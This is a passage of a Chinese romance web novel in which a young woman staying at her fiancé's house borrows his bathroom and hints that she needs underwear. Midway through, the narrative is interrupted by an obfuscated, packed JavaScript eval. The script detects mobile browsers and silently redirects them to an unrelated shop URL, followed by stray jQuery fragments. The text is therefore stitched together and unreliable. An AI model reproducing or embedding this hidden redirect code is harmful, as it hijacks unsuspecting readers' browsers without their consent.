小书房的门在身后关上，知禾靠在门板上，闭了闭眼。
计划赶不上变化。
原本打算撩了人就跑，现在倒好......困在他的屋檐下，穿着他的衣服，睡在他的隔壁，整整三天。
她靠了片刻，睁开眼睛，目光从清明到锐利。
既然老天爷把这个机会塞到她手里，她就应该好好利用，不是么？
榻上放着那件叠得方方正正的浅灰色衬衫。她走过去，拿起来，衬衫是亚麻质地的，面料柔软，带着新衣服特有的浆洗气味。
知禾把衬衫展开，在身上比了比。
衣服太大了，领口开到锁骨以下，肩线垂到上臂，下摆垂到大腿中段。
她站在镜子前，歪着头打量自己，又低头看了一眼身上那条皱得不成样子的裙子，裙摆沾着泥点，像一块被揉皱的抹布。
而她身上还带着昨晚雨水的潮气，头发黏在脖颈上，皮肤紧绷绷的，像是糊了一层薄薄的壳。
从昨晚到现在，只用清水洗了脸，身上还是昨天那层——雨水、汗、酒渍，混在一起，闷在这条裙子里，闷了一整夜。
她想洗澡，可小书房的洗手间没有浴室。
知禾对着镜子，沉默了一会儿。
然后，隔着主卧小书房的那扇门，她听到了隔壁的动静——门开了，又关上，脚步声进入房间内。
谢聿修进了主卧。隔着那扇主卧和小书房连接的门，传来他和蒋青说话的声音，听不清内容，只隐约辨得出他低沉平缓的语调。
门内。
“先生，东跨院那边出事了。”蒋青压低声音，“排水口全被落叶堵了，水排不出去，已经漫进库房了。那边还有一扇窗户被风刮破，雨直往里灌，负责人说人手不够，我和吴叔可能要过去一趟。”
谢聿修放下钢笔，眉头微皱。
“库房里存着几箱字画，不能受潮。”他顿了一下，语气依然平稳，“你带人先把排水口疏通，窗户先用木板钉上，雨停了再修。人手不够的话，把花房的工人都调过去。”
“是。”蒋青应了一声，转身去拿雨衣。
门外。
知禾收回想要敲门的手，看来还需要等会儿。
现在他在忙，不是她打扰的时候。
知禾转身走向榻边坐下，低头看了一眼那件展开的衬衫，又看了看自己身上那条皱巴巴的裙子。
不行，等不了一点。
洗澡的念头一旦出现，她迫切地想要热水，想要沐浴露，想要把自己洗干净。换上那件干净的衬衫之前，她必须先把自己弄干净。
知禾又站起身，走到那扇门前。幸好，隔壁已经安静下来了，蒋青应该走了。她抬起手，敲了两下。
干脆的，不轻不重。
门内传来脚步声，由远及近，门开了。
谢聿修站在门后，衬衫袖口挽到小臂，手里还握着钢笔，笔尖上沾着一点未干的墨迹。他看了她一眼——目光从她脸上掠过，落在那件还穿在身上的皱裙子上，又回到她脸上。
“怎么了？”
柳知禾站在门口，抱着换洗衣物。她仰头看着他，几缕碎发凌乱地贴在脸颊上，没有妆，嘴唇是自然的浅粉色。
“谢先生，”她说，声音不大，“小书房没有浴室。能借用一下你的吗？”
谢聿修看着她。她还穿着昨晚那条皱裙子，墨绿色，沾着泥点。怀里抱着那件他借给她的衬衫，浅灰色的亚麻面料。
她还没有换上，她是来借浴室的。
“进来吧。”谢聿修侧身，让开门口，“浴室在右手边。”
知禾点点头，抱着衬衫走了进去。经过他身边的时候，她闻到他身上那股淡淡的松木香，混着墨水的味道。
他没有关门，也没有看她，转身回到书桌前，坐下，重新拿起笔。
知禾走进浴室，锁上门。
她把衬衫放在洗手台上，浴室很大，暖黄色的灯光，干湿分离，淋浴间的空气里有和他身上一样的松木香，在潮湿的空间里，那种雨后松针叶子上，被风吹来的清苦味。
她侧身拉开裙子拉链，将脱下的衣服放在脏衣篓里，转身拧开热水。水流冲下来，热气蒸腾而起，镜面很快蒙上一层白雾。
疲惫一扫而空，她发出舒服的喟叹声。
......
水流砸在瓷砖上的声音，闷而密集，隔着门板传出来，像一场小型的、被关在门里的暴雨。
谢聿修没有抬头。
钢笔悬在纸上，笔尖那一滴墨凝了很久，没有落下。他垂下眼，将笔尖轻轻点在纸巾边缘，把多余的墨蹭掉，然后继续写。
写了两行。
字迹比平时潦草。
他闭了闭眼，将椅子转向书桌正中央，花洒的水声持续了很久，但手表的分针只走了三分之一的圆。
浴室里那条是新换的，他今早让吴叔换的。但她带了换洗的衣服吗？怀里那件衬衫是干净的，但没有别的了——他按下这个念头。
这不是他该想的。
水声停了。
然后是更长时间的安静。
浴室内的知禾盯着架子上那条深灰色的浴巾微微失神。
是他的浴巾。
没有第二条浴巾了。
她光着身子站了一会儿，直到感受到身体有些许凉意，这才拿起那条浴巾，裹住自己。
毛巾很大，把她整个人包进去，从肩膀到大腿，每一寸皮肤都被那股木质香气覆盖。知禾的头发湿漉漉地贴在脸上，脸颊被热水蒸出两团薄红，她裹着他的毛巾，赤脚站在他的浴室里。
待身上的水被浴巾吸干，她转身去拿那件衬衫，展开，套上。
果然很大，空荡荡的挂在身上。
知禾从领口往下看，几乎一览无余。
她捂了捂脸，这要怎么走出去啊，就算紧拽着衣领，装作自己内里衣物都穿着妥当，逃回小书房，但她不能三天都待在小书房不出来见人吧。
十八岁的小姑娘就算心智再成熟，也没经历过这样的困境——该如何不动声色地让主人家为她准备一套贴身衣物？
就算这个主人家，是她的未婚夫，也还是太超过了。
几番心理建设之后，知禾深吸一口气，拉开浴室的门。
谢聿修还坐在书桌前。他背对着浴室的方向，面前摊着文件，手里的笔正写着什么。听到门响，他没有回头。
知禾赤脚踩在地毯上，朝他走了两步。
“谢先生。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481570|201772||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢聿修侧过身，目光落了过来。
她身上那件浅灰色衬衫，大了好几号，领口松松地堆在锁骨处，袖口挽了好几折，露出一截细白的小臂。头发湿着，几缕碎发贴在脸颊两侧。
衬衫的布料贴着皮肤，在暖黄色的灯光下呈现出一种半透明的质感。
他的目光在她身上停了一瞬，突然意识到了什么。没有内衣的轮廓———没有肩带，没有钢圈，什么都没有。
他立刻垂下眼，转回头。
“毛巾在架子上。”他说，声音尽量保持平稳。
“用了。”知禾说。
他没有接话。笔尖在纸面上移动，发出细微的沙沙声，却什么也没写下，反而划了一道又一道。
身后的脚步声没有往门口走。
他意识到这一点的时候，她已经在书桌旁边站定了。余光里能看见她赤脚踩在深色的地毯上，脚趾白皙，指甲圆润。
他掩住纸上的划痕，刻意避开视线。
“谢先生。”她喊他。
他应了一声，声音压得很低。
“还有什么事？”
知禾站在原地，拢着领口。她的目光落在他桌角的白纸上，停了一瞬，然后移开。
“你这里有肥皂吗？”她问。
谢聿修抬起眼，似是不解：“肥皂？”
“嗯。”知禾点头，语气自然，“洗衣皂。”
他看了她两秒，左手拿起笔盖，动作缓慢地旋上钢笔。
“脏衣服放在脏衣篓里就行。”他说，语气平淡，“吴叔会安排人洗。”
“我知道。”她说，却没有动，“但有些衣服……不方便让别人洗。”
天花板上那盏吊灯发出的光刚好落在她脸上，她的表情很平静，甚至带着一点恰到好处的、得体的微笑。
但耳廓上那一点极淡的粉色，暴露了她。
谢聿修看着她，忽然明白了。
肥皂不是用来洗那条绿色裙子的，而是......贴身衣物。
那她现在穿的是......
他强迫自己不许想，指腹却无意识摩挲着笔杆，一下，又一下。书房的钟在走，滴答，滴答，每一秒都清晰得像踩在心口上。
“老宅没有女眷，”他开口，声音比平时低了些，像是在斟酌每一个字，“所以没有准备那些……”
他顿了一下，没有把“贴身衣物”这几个字说出来。
知禾没有接话，她站在原地，拢着领口。她的目光落在地毯上，盯着自己赤裸的脚趾。浴室里的松木香从她身后飘过来，和她身上的潮气混在一起，弥漫在这间安静的书房里。
谢聿修垂下眼，拿起便签纸，拔开钢笔的笔帽。
“你还需要什么，写下来，”他把笔和便签纸递过来，语气恢复了平稳，“等吴叔和蒋青回来，让他们去买。”
知禾接过，笔尖落在纸上，却没有动。
她抬头，问：“他们今天回得来吗？”
谢聿修愣了愣。
回不来，东跨院的排水口疏通不是一时半刻的事，窗户要钉木板，库房里的字画要搬出来晾，花房的工人调过去也只是帮手，吴叔和蒋青至少要忙到天黑。
他没有回答，而沉默本身就是回答。